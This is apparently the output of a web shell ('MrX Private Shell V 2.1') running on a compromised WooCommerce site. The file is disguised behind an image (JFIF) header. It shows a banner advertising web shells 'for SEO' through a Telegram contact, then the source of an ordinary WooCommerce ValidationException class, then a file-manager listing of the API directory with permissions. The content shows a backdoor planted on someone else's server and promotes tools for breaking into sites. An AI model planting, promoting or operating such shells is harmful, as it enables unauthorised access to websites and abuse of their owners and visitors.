����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
declare(strict_types=1);
namespace Automattic\WooCommerce\Api;
/**
* Thrown to signal that input is well-formed but failed business-rule
* validation, e.g. a required field was empty, two fields contradict each
* other, a value violates a domain constraint.
*
* For purely structural input errors (wrong type, malformed shape) prefer
* letting the framework's `\InvalidArgumentException` handling do the work:
* `Utils::translate_exceptions()` already maps it to `INVALID_ARGUMENT` (400).
*
* Wire shape: `extensions.code = 'VALIDATION_ERROR'`, HTTP status 422.
*/
class ValidationException extends ApiException {
/**
* Constructor.
*
* @param string $message The error message.
* @param array $extensions Additional error metadata to surface in the GraphQL `extensions` object.
* @param ?\Throwable $previous The previous throwable for chaining.
*/
public function __construct(
string $message = 'Validation failed.',
array $extensions = array(),
?\Throwable $previous = null,
) {
parent::__construct( $message, 'VALIDATION_ERROR', $extensions, 422, $previous );
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Attributes | Folder | 0755 |
|
|
| Enums | Folder | 0755 |
|
|
| Infrastructure | Folder | 0755 |
|
|
| InputTypes | Folder | 0755 |
|
|
| Interfaces | Folder | 0755 |
|
|
| Mutations | Folder | 0755 |
|
|
| Pagination | Folder | 0755 |
|
|
| Queries | Folder | 0755 |
|
|
| Scalars | Folder | 0755 |
|
|
| Traits | Folder | 0755 |
|
|
| Types | Folder | 0755 |
|
|
| Utils | Folder | 0755 |
|
|
| ApiException.php | File | 1.21 KB | 0644 |
|
| ForbiddenException.php | File | 995 B | 0644 |
|
| InvalidTokenException.php | File | 1.03 KB | 0644 |
|
| NotFoundException.php | File | 999 B | 0644 |
|
| UnauthorizedException.php | File | 1.03 KB | 0644 |
|
| ValidationException.php | File | 1.1 KB | 0644 |
|